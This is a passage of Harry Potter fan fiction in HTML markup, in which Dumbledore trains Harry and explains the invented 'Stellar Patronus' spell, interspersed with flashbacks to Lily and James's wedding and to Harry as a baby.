however constantly either deflected or blocked Harry&#8217;s\nspells.&nbsp; Whenever Harry tried to\noutmaneuver him with his Quidditch trained reflexes, Dumbledore constantly beat\nhim to the punch with moves Harry wouldn&#8217;t have thought possible from a man so\naged.</p>\n\n<p>&nbsp;</p>\n\n<p>This continued on for hours and\nHarry was still unsuccessful though he was definitely being worn down.&nbsp; Soon, night fell and the almost full moon\nshown in the sky.&nbsp; Harry was clearly\nexhausted but he didn&#8217;t seem to want to give up.&nbsp; &#8220;I...can still...do it...&#8221; he said, his feet dangerously swaying.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore looked over Harry his\nblue eyes showing concern.&nbsp; &#8220;Harry it is\nlate, you are exhausted, you must get some rest.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;NO!&#8221; exclaimed Harry.&nbsp; He took an unsteady step toward Dumbledore,\nstill swaying.&nbsp; &#8220;I&#8217;ve...only got\ntill...noon tomorrow.&nbsp; I can do this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore sighed.&nbsp; &#8220;If I must, I must,&#8221; he said.&nbsp; The wizened wizard muttered a spell and\nHarry fell to the ground in a deep slumber.&nbsp;\nDumbledore lit a fire right next to Harry and sat down opposite\nhim.&nbsp; As he tended the fire, Dumbledore\nglanced up at the stars and started remembering...</p>\n\n<p>&nbsp;</p>\n\n<p><i>It was a bright sunny summer\nday at Hogwarts School of Witchcraft and Wizardry.&nbsp; Although all of the students were away home on summer vacation the\ncastle was highly decorated and filled to the brink with people that ranged\nfrom Hogwarts faculty to Hogwarts alumni and many of their relatives.&nbsp; They were all guests at a wedding being held\nthat day at the school, a wedding between two of the most prestigious people in\nthe Magical world.&nbsp; It was indeed a\njoyous occasion that eclipsed that usual doom and gloom of the height of\nVoldemort&#8217;s power.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>In the Gryffindor Common\nRoom, the bride was making the final preparations to herself before the actual\nceremony.&nbsp; Lily Evans looked herself\nover in the mirror as she smoothed out her pure white wedding gown.&nbsp; She looked absolutely breathtaking, her dark\nred hair cascading around her shoulders and her emerald green eyes shining with\na sense of bliss and love for the man she would see in just a few minutes\nstanding at the altar.&nbsp; Her porcelain\nface had just the slightest touch of make up, just a little blush and a hint of\nlipstick.&nbsp; Lily didn&#8217;t usually wear make\nup but today was her special day.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>She had just finished\nadjusting her veil when the portrait hole entrance opened and Hogwarts\nHeadmaster Albus Dumbledore stepped inside.&nbsp;\nHe smiled at Lily and said, &#8220;You look absolutely beautiful my dear.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily smiled back at him.&nbsp; &#8220;Thank you Professor...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Lily, call me Albus.&nbsp; You&#8217;re no longer a student here.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily nodded and said, &#8220;Thank\nyou Albus.&nbsp; Is it time already?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;It is,&#8221; said Dumbledore.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>A slight blush crossed Lily&#8217;s\nface as she asked, &#8220;How is he doing?&nbsp; He\nhasn&#8217;t run off or anything has he?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Dumbledore let out a jovial\nlaugh.&nbsp; &#8220;I dare say Lily, that James is\nabsolutely anxious to see you.&nbsp;\nUnfortunately, he was so nervous this morning that Mr. Black had resort\nto drastic measures to make sure he breathed properly.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily let out a small laugh.&nbsp; &#8220;He&#8217;s not the only one who&#8217;s nervous,&#8221; she\nsaid.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Dumbledore smiled and lifted\nhis hand, &#8220;Shall we proceed?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Let us,&#8221; said Lily as she\ntook the offered hand.&nbsp; She let\nDumbledore lead her out of the Common Room.&nbsp;\nAfter walking down the halls for a few minutes Lily spoke up again,\n&#8220;Pro..Albus I want to thank you again for being the one walking me down the\naisle, giving me away to James.&nbsp; I just\nwish...&#8221; Lily pushed back a sob as a lone tear rolled down her cheek, &#8220;I just\nwish my parents were still alive, to see me on my day.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily&#8217;s muggle parents had\nbeen killed in a Death Eater attack nearly four years previous.&nbsp; Lily&#8217; sister Petunia, whom was already\njealous of her gifted little sister completely disowned her, blaming her for\nthe death of their parents.&nbsp; The memory\nstill haunted Lily.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Dumbledore didn&#8217;t say\nanything but smiled at her to show her his understanding.&nbsp; After another moment of silence, Lily spoke\nup again, &#8220;Albus, about that offer you made to me some time ago, the offer I\nsaid I would answer when I am ready.&nbsp;\nWell, I&#8217;ve made my decision, I want to accept your offer to learn the\nDark Magic Cleanser.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Dumbledore examined Lily with\nstern eyes.&nbsp; &#8220;Why this sudden change,\nLily?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily sighed.&nbsp; &#8220;At first, when you offered to teach me the\nCleanser, I wasn&#8217;t sure I could handle the responsibility: such a powerful\nspell in my own hands, and the thought of abusing that power.&nbsp; But then, James proposed and I started\nthinking.&nbsp; With Voldemort still at large\nhow could I possibly protect James or our children if we decide to have\nsome?&nbsp; If the power to protect my family\nfrom Voldemort is within my grasp then what&#8217;s to stop me from taking it?&#8221;&nbsp; Lily stopped and looked up at Dumbledore.\n&#8220;I&#8217;m sorry, am I rambling?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;No Lily, I understand\nperfectly.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Oh dear God, Sirius!&nbsp; Why isn&#8217;t she showing up yet?&nbsp; What if she&#8217;s lost?&nbsp; What if she changed her mind?&nbsp; What if Voldemort has decided to attack and\nshe&#8217;s hurt or...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Sirius Black smacked a near\npanicked James Potter on the back of the head, trying to get him to calm\ndown.&nbsp; &#8220;Prongs, buddy.&nbsp; Relax.&nbsp;\nShe&#8217;ll be here.&#8221;&nbsp; They were\nstanding in the Great Hall in front of an altar and a large crowd of\nguests.&nbsp; James as the groom was wearing\na black tuxedo and a black dress robe over that.&nbsp; Sirius being the best man was wearing a matching outfit.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Easy for you to say,\nPadfoot!&nbsp; You&#8217;re not the one getting\nmarried!&#8221; snapped James.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Just relax, you know she&#8217;s\ngoing to show up here any second,&#8221; said Sirius.&nbsp; As James took deep breaths trying to calm himself, Sirius turned\nto one of the groomsmen.&nbsp; &#8220;All set\nMoony?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Remus Lupin grinned at his\nfriend.&nbsp; &#8220;All set Sirius.&nbsp; I set it to go off the instant you snap your\nfingers.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Sirius grinned.&nbsp; &#8220;You&#8217;re evil, you know that Remus?&#8221; he\nwhispered.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Hey this was your idea!&#8221; whispered\nRemus.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>All whispering stopped that\nmoment however as the doors to the Great Hall opened revealing Lily on\nDumbledore&#8217;s arm.&nbsp; The crowd silenced as\nthey marveled at the beautiful bride while James was starring wide eyed, his\nmouth hanging open at the beautiful woman whom was about to become his\nwife.&nbsp; Sirius had to nudge him to remind\nhim to breath.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily quickly looked around\nthe Great Hall and realized that Petunia hadn&#8217;t come.&nbsp; This saddened her but that melancholy feeling was dashed as soon\nas she saw James waiting for her at the altar.&nbsp;\nShe let Dumbledore lead her down the aisle.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily beamed at James and\nJames couldn&#8217;t help but grin back at her.&nbsp;\nDumbledore led Lily up to the altar and passed her along to James and\nthe two stood in front of the minister.&nbsp;\nThe minister spoke, rings were exchanged, vows were said, and by the\ntime the minister gave them permission to kiss, Lily had tears streaming down\nher face though both she and James were beaming at each other.&nbsp; Finally, their lips met in a breathtaking\nkiss whereupon Sirius snapped his fingers causing fireworks to erupt throughout\nthe entire hall, startling the entire crowd.&nbsp;\nLily and James remained completely oblivious to this as they continued\nto kiss and occasionally whisper, &#8220;I love you,&#8221; between kisses.</i></p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore woke up with a start\nrealizing that he had dozed off.&nbsp; It was\nmorning now and the fire had gone out during the night.&nbsp; Harry was stirring and Dumbledore couldn&#8217;t\nhelp but smile at Lily and James&#8217;s son.&nbsp;\nHarry sat up, yawned, and stretched a little.&nbsp; He raised his eyebrows when he saw Dumbledore smiling at\nhim.&nbsp; &#8220;Um, Professor, what are you\ngrinning at?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m just remembering the past\nHarry,&#8221; he said.&nbsp; He passed a bowl of\noatmeal to Harry.&nbsp; &#8220;Eat, we have a long\nday yet.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took the bowl of oatmeal\nand finished it off in no time.&nbsp;\nDumbledore also left behind some fried eggs and toast before he set off\nfor the cliffs ahead of Harry.&nbsp; Harry\nfinished the eggs off quickly as well but he stopped for a moment when he came\nto the toast.&nbsp; Immediately his thoughts\nwent back to his fourth year the morning after Harry had been selected as\nTriwizard Champion.&nbsp; The image of\nHermione with a stack of toast and the assurance of her belief in Harry&#8217;s story\nthat he didn&#8217;t enter the tournament was an image that had been forever\nengrained in Harry&#8217;s head.&nbsp; Harry smiled\nas he nibbled on the toast.&nbsp; <i>&#8216;I\nwonder what Hermione&#8217;s doing this morning,&#8217;</i> he thought.&nbsp; His thoughts wandered to images of what she\nmight be doing early in the morning, perhaps sleeping peacefully in bed\nwhereupon the rays of the dawn sun hits her face causing her to wake.&nbsp; Hermione getting up and stretching cutely in\nthose pink pajamas Harry loved seeing her in, and then she heads to the shower...\n<i>&#8216;Whoa!&nbsp; That&#8217;s enough!&#8217;</i>&nbsp; Harry thought.&nbsp; He cleared his thoughts and took off after Dumbledore.</p>\n\n<p>&nbsp;</p>\n\n<p>Unfortunately hours later, Harry\nwas still having no luck.&nbsp; No matter how\nmany spells he employed or how many strategies he used, he could not land a\nsingle spell on his mentor.&nbsp; Finally,\nthere was only twelve minutes left before noon.&nbsp; Harry was on his knees, panting and starting to get\ndesperate.&nbsp; Dumbledore looked over him\nwith a searching gaze.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Giving up already?&#8221; he asked\nwith a neutral tone.&nbsp; &#8220;It is my belief that\nit is within your ability to be able to land a spell on me within the next few\nminutes.&nbsp; However, if you do not believe\nyou can do this, you will not be able to do this.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry gritted his teeth and\nstood up.&nbsp; &#8220;I can do this!&#8221; he\nhissed.&nbsp; With a boost of magical energy,\nHarry leapt high into the air.&nbsp; Twisting\ndownward in a half summersault, Harry let out a loud cry as he pointed his wand\ntoward Dumbledore.&nbsp; He wasn&#8217;t aware of\nwhat spell he was using and he was only marginally aware of Dumbledore conjuring\na deflector ward.&nbsp; All he was aware of\nwas that he was falling down toward his mentor, his wand shining with one final\ndesperate spell directed toward Dumbledore.</p>\n\n<p>&nbsp;</p>\n\n<p>There was a flash of light as\nHarry came crashing down on Dumbledore&#8217;s ward followed by darkness.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p><i>A young mother was humming as\nshe nursed her newly born baby son.&nbsp;\nLily Evans Potter peered down at her baby; her green eyes shining with\nlove toward the child who shared her eyes.&nbsp;\n&#8220;Harry,&#8221; she whispered as she stroked baby Harry&#8217;s raven locks.&nbsp; She started humming again.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;How are my two favorite\npeople doing this evening?&#8221;&nbsp; Lily looked\nup to see James Potter enter the nursery.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Hello handsome,&#8221; she said\nwith a smile.&nbsp; She turned to Harry and\nwhispered, &#8220;Look Harry, Daddy is home.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Hello beautiful,&#8221; said James\ncausing Lily to blush.&nbsp; James grinned as\nhe approached his family.&nbsp; He swooped\ndown on Lily and gave her a passionate kiss before turning to Harry and\nwhispered, &#8220;Hello son.&nbsp; Have you been\ngiving Mommy a hard time again?&nbsp; Good for\nyou.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Lily playfully swatted James\nbefore kissing him again.&nbsp; Soon, the\nkiss grew rather passionate and frenzied and things were really starting to\nheat up.&nbsp; Luckily Lily managed to gently\npush James away before they ended up performing activities that would&#8217;ve\ntraumatized baby Harry.&nbsp; James looked\nslightly disappointed but agreed with Lily&#8217;s &#8220;Not in front of the baby.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>James started cleaning up the\nnursery as Lily started humming again, gently rocking Harry trying to get him\nto sleep.&nbsp; She opened her mouth\napparently about to sing something when she turned to James and asked, &#8220;Love,\nwhat was Harry&#8217;s Zodiac sign again?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;July 31st?&#8221; said\nJames facing his wife once more.&nbsp; &#8220;Leo,\nthe lion.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Of course, silly me,&#8221; said\nLily.&nbsp; She turned to Harry again and\nsoftly started singing:</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Listen child, hear my words,\n</i></p>\n\n<p><i>When darkness falls and evil\nstirs, </i></p>\n\n<p><i>Listen to my words so you may\nlive, </i></p>\n\n<p><i>Your life be saved by the\nwords I give, </i></p>\n\n<p><i>Astra Patronum Leo.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>Harry woke up with a start.&nbsp; He realized that tears were streaming down\nhis cheeks and he wiped them away angrily.&nbsp;\nHarry rarely had dreams about his parents however, and whenever he did\nthey were usually nightmares about the night Voldemort had murdered them as he\nhad first experienced when he encountered the dementors during his third\nyear.&nbsp; He had never had a dream of the\ndomestic bliss of his family before Voldemort&#8217;s attack and he treasured the\ndream.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah you&#8217;re awake,&#8221; said\nDumbledore, beaming at Harry.&nbsp; Harry\nrealized he was still on the cliffs of Dover.&nbsp;\nGroggily he stood up.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What time is it?&#8221; he groaned.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A little past one in the\nafternoon,&#8221; replied Dumbledore.&nbsp; &#8220;You\nwere unconscious for about a hour and a half and after a desperate spell like\nthat, I wouldn&#8217;t be surprised.&nbsp; Of\ncourse,&#8221; Dumbledore lifted his right arm to show that his forearm was singed,\nthe skin under the torn sleeve slightly burned, &#8220;it was because of that\ndesperation that you were finally able to land that spell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I did it?&#8221; Harry exclaimed his\neyes wide.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore grinned.&nbsp; &#8220;Of course you did Harry, I never doubted\nyou for a second.&nbsp; Now, follow me, it is\ntime for you to learn the Dark Magic Cleanser.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Minutes later, Harry and\nDumbledore were back in front of the former headmaster&#8217;s cottage.&nbsp; Fawkes&#8217;s tears had healed Dumbledore&#8217;s arm\nand Harry was well rested and eager to learn.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, observe carefully, Harry,&#8221;\nsaid Dumbledore.&nbsp; He pulled out his wand\nand said, <i>&#8220;Magicus Ensis.&#8221;</i>&nbsp; A\nsapphire blue blade of light emerged from Dumbledore&#8217;s wand.&nbsp; Dumbledore twirled the magical sword around,\nthe blade of light singing in the air.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry blinked.&nbsp; &#8220;Whoa.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Magical Sword Spell,&#8221; said\nDumbledore.&nbsp; &#8220;This spell is a particular\nfavorite of mine.&#8221;&nbsp; He flicked the blade\nupward and pointed it at Harry. &nbsp;The\nblade disappeared.&nbsp; &#8220;Go ahead and try\nit.&nbsp; The words are &#8216;Magicus Ensis&#8217;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded and shouted, <i>&#8220;Magicus\nEnsis!&#8221;</i>&nbsp; He jumped back a little\nwhen a brilliant emerald green blade of light erupted from his wand.&nbsp; It was about a meter long and it&#8217;s light\nsurrounded the actual wand as well.&nbsp;\nNoticing the blue color of Dumbledore&#8217;s blade and the green color of his\nown, he decided that the blade&#8217;s color mimicked the color of the wizard or\nwitch&#8217;s eyes that was using the spell.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I did it!&#8221; exclaimed Harry.&nbsp; He felt extremely excited at having\napparently mastered the Dark Magic Cleanser after only one try.&nbsp; He started twirling the wand around, the\nblade swirling in the air.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore, gave Harry a stern\nlook.&nbsp; Without any warning, Dumbledore\nsaid, <i>&#8220;Expelliarmus.&#8221;</i>&nbsp; Harry&#8217;s\nwand shot out of his hand, much to his surprise.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was clearly confused.&nbsp; &#8220;I don&#8217;t understand.&nbsp; I thought the Dark Magic Cleanser was too\npowerful to stopped by a disarmer.&nbsp;\nWhat&#8217;s wrong with mine?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;There was nothing wrong with your\nMagical Sword Spell,&#8221; said Dumbledore.&nbsp;\n&#8220;In fact, I am rather impressed that you&#8217;ve mastered it this\nquickly.&nbsp; But understand this Harry,\nmastering the Magical Sword Spell is only the first step in learning the basics\nof how to conjure the Stellar Patronus.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Now, Harry was even more\nconfused.&nbsp; &#8220;Huh?&nbsp; The Stellar Patronus?&nbsp; What&#8217;s that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why the Dark Magic Cleanser of\ncourse,&#8221; said Dumbledore.&nbsp; He grinned\nwhen he saw that Harry was speechless.&nbsp;\n&#8220;Why my dear Mr. Potter.&nbsp; I never\nactually said that the Magical Sword Spell was the Dark Magic Cleanser; just\nthat it is a particular favorite of mine.&nbsp;\nIn fact, it is a particular favorite of Wizard Duelers; anybody whose\nstudied advanced dueling spells can use it.&nbsp;\nYou just assumed that it was the Dark Magic Cleanser.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Professor,&#8221; Harry groaned.&nbsp; Dumbledore chuckled.&nbsp; Suddenly his face grew serious.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I must still stress out that\nyou should still familiarize yourself with the Magical Sword Spell,&#8221; said\nDumbledore.&nbsp; &#8220;You and Voldemort possess\nbrother wands. &nbsp;By it&#8217;s very nature, the\nMagical Sword Spell is the only spell the two of you can use against each other\nthat will prevent your wands from locking into &#8216;Priori Incantati&#8217;, with the\nexception of the Stellar Patronus.&nbsp; You\nmust learn how to wield the magical sword.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;OK,&#8221; said Harry.&nbsp; &#8220;But I&#8217;m hear to learn the Dark Magic\nCleanser, er, I mean the Stellar Patronus.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course,&#8221; said\nDumbledore.&nbsp; &#8220;But before I teach you the\nactual spell there is some background that is vital for you to know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;OK.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, do you know why I\ninitially wasn&#8217;t going to teach you the Dark Magic Cleanser?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry thought for a moment.&nbsp; &#8220;At first you said you weren&#8217;t going to\nteach me it when I said that I wanted to learn it so that I could use it to\ndefeat Voldemort.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That is correct,&#8221; said\nDumbledore.&nbsp; &#8220;You see Harry, aside from\nyourself there have been two other people whom I had wished to pass the spell\nto.&nbsp; Fortunately for one and\nunfortunately for the other circumstances prevented me passing the Stellar\nPatronus along to them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, the first one, the\nwizard whom I initially wished to pass the Dark Magic Cleanser to was Tom\nRiddle.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; Harry sprang up to his\nfeet.&nbsp; &#8220;Voldemort?&nbsp; But wasn&#8217;t he...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Believe me Harry,&#8221; said Dumbledore\nchuckling bitterly, &#8220;he may have been in Slytherin, but if you had told me what\nTom Riddle was going to become later on back during his early years I would\nhave laughed and said you were out of your mind.&#8221;&nbsp; Dumbledore sighed sadly.&nbsp;\n&#8220;Before Tom Riddle turned over to the Dark Side, he was the most\nintelligent, brave, and honorable wizard ever to grace the halls of\nHogwarts.&nbsp; He was truly one of a kind\nand I decided early on, that he would be the heir of the Dark Magic Cleanser\nand started instructing it to him.&nbsp;\nThen, during his sixth year, there was the whole fiasco with the Chamber\nof Secrets.&nbsp; I had my suspicions that he\nwas behind those attacks but they weren&#8217;t confirmed until the following year\nafter I defeated the Dark Wizard Grindelwald.&nbsp;\nShortly after his defeat, Tom Riddle blinded Grindelwald to prevent\npossible competition.&nbsp; I only found out\nthat bit of information years after the event but I had already stopped\nteaching Riddle the spell after the situation with the Chamber of Secrets.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was intrigued by this\nstory.&nbsp; Dumbledore continued speaking.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It amazes me how similar your\norigins are with Riddle&#8217;s.&nbsp; Both of you\nare what he would consider to be half-bloods, orphans, raised by muggles, in\nrather abusive backgrounds, which I must apologize to you since I am partially\nresponsible for that in your situation.&nbsp;\nYou even resemble each other, although there is no immediate family\nconnection between you two.&nbsp; And yet the\ntwo of you have journeyed on such different paths.&nbsp; You chose to be a Gryffindor when he chose to be a\nSlytherin.&nbsp; He gave into the hatred and\nprejudice he learned from the muggles raising him while you simply glanced it\noff.&nbsp; He turned over to the dark side\nwhile you have become one of the foremost defenders of the light side.&nbsp; It is how the two of you have traversed on\nsuch different paths that will make the difference in whether you learn the\nStellar Patronus or not.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I...I think I understand sir.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Indeed.&nbsp; For you to learn the Dark Magic Cleanser it\nis vital that you and Voldemort remain on different paths.&nbsp; Different as those paths are, there is\nalways the possibility that you could still journey down the same path as\nhim.&nbsp; Wishing to learn the Stellar\nPatronus for the sole purpose of defeating Voldemort would constitute as a\nselfish act.&nbsp; If a selfish act were your\nmotivation you will fail to master the Stellar Patronus.&nbsp; However, you said your motivation was to\nprevent any more pain to come to the weak and helpless.&nbsp; That was the same motivation displayed by\nthe other one who was supposed to learn the spell, and I have no doubts that\nyou will master the Stellar Patronus because I believe that she would&#8217;ve\nmastered the spell had she lived long enough.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry perked up.&nbsp; &#8220;Wait a minute Professor, is this other\nperson...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, it is Lily Evans, your\nmother,&#8221; said Dumbledore.&nbsp; &#8220;I had been\nteaching her the Dark Magic Cleanser for some time but she took some time off\nwhen she became pregnant with you.&nbsp;\nBefore she could come back to finish the training, Voldemort attacked.&nbsp; You know the rest.&#8221;&nbsp; Dumbledore grinned.&nbsp; &#8220;For that reason, I have been secretly\nsmuggling the basics of the Stellar Patronus into your regular Hogwarts\ncurriculum.&nbsp; The only thing you will\nneed to do is take the final test.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was a little stunned at\nthis.&nbsp; &#8220;Why, thank you sir.&nbsp; And, er, what is this final test?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore started pacing again,\nhis face grave.&nbsp; Finally he took a deep\nbreath and said, &#8220;I&#8217;m sure you are aware that the Avada Kedavra curse cannot be\nstopped.&nbsp; However it can be deflected,\nby the Stellar Patronus.&#8221;&nbsp; He took\nanother breath.&nbsp; &#8220;Harry, to master the\nStellar Patronus, you must be able to deflect the Avada Kedavra curse; that is\nthe final test.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?!&#8221; Harry exclaimed, his\neyes wide and his face pale.&nbsp; &#8220;But that\nmeans...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes Harry,&#8221; said Dumbledore his\nface grave, &#8220;failure will mean death.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry blanched, his face pale\nand his knees shaking.&nbsp; He grabbed a\nbranch on a nearby tree to steady himself.&nbsp;\nHe opened his mouth though nothing came out.&nbsp; Finally, he managed to mutter, &#8220;B-bloody hell.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore sighed once\nagain.&nbsp; &#8220;If possible, I would&#8217;ve hoped\nyou didn&#8217;t have to carry this burden.&nbsp;\nLike I said before, I could go down to Voldemort&#8217;s lair and use the dark\nMagic Cleanser on him myself.&nbsp; However,\nI am old, and it is highly unlikely I will survive a duel against Voldemort,\nespecially if I use the Stellar Patronus on him.&nbsp; If I perish without passing the Dark Magic Cleanser on, future\ngenerations will fall before the Dark Side.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took a few breaths and\nsteadied his feet.&nbsp; Finally he spoke,\n&#8220;Well, I suppose I&#8217;m going to be killed by Voldemort anyway.&nbsp; Why not do him a favor let you do the job\nfor him?&#8221;&nbsp; He grinned to show that he\nwas only kidding.&nbsp; Dumbledore however\nlooked slightly alarmed.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, do you not expect to\nsurvive your duel against Voldemort?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry hesitated for a moment\nbefore he said with an emotionless voice, &#8220;No, I do not expect to live.&nbsp; But I&#8217;m ready to throw my life away to\ndefeat Voldemort.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then, I am afraid, you will\nfail the test,&#8221; said Dumbledore.&nbsp; Before\nHarry could say anything Dumbledore continued, &#8220;You can think about that during\nthe night.&nbsp; The basic workings of the\nStellar Patronus is rather simple: it is more or less a combination of the\nMagical Sword Spell and the standard Patronus Charm.&nbsp; Just activate both spells at the same time.&nbsp; However, whereas the standard Patronus can\nbe conjured by a happy thought, the Stellar Patronus is conjured up with\nanother thing along with happiness.&nbsp; The\nrequirement of the test is that you figure out what that other thing is, it\nwill save your life.&nbsp; The test will take\nplace tomorrow morning.&nbsp; Good\nluck.&#8221;&nbsp; With that, Dumbledore went back\ninside his cottage leaving Harry alone with his thoughts.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>That night Harry couldn&#8217;t sleep\nand was thus sitting under a tree gazing at the night sky, observing that it\nwould only be about two or three days before the full moon.&nbsp; A part of Harry believed that this could\nvery well be the last night of his life.&nbsp;\nPerhaps, his biggest regret was that he wasn&#8217;t spending the night with\nHermione.</p>\n\n<p>&nbsp;</p>\n\n<p>A lot of thoughts were crossing\nHarry&#8217;s mind that night: Voldemort, Hermione, his parents, the Stellar\nPatronus, Hermione, his parents, the Order, Hermione, his parents, Ron,\nHermione, his parents.&nbsp; He tried to\nthink about Dumbledore&#8217;s words.&nbsp; He\ncouldn&#8217;t exactly figure out why he would fail the test if he was ready to\ndie.&nbsp; After all, wasn&#8217;t he expected to\nsacrifice his life for good?</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Not Harry, not Harry, please\nnot Harry!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Stand aside, you silly\ngirl...stand aside, 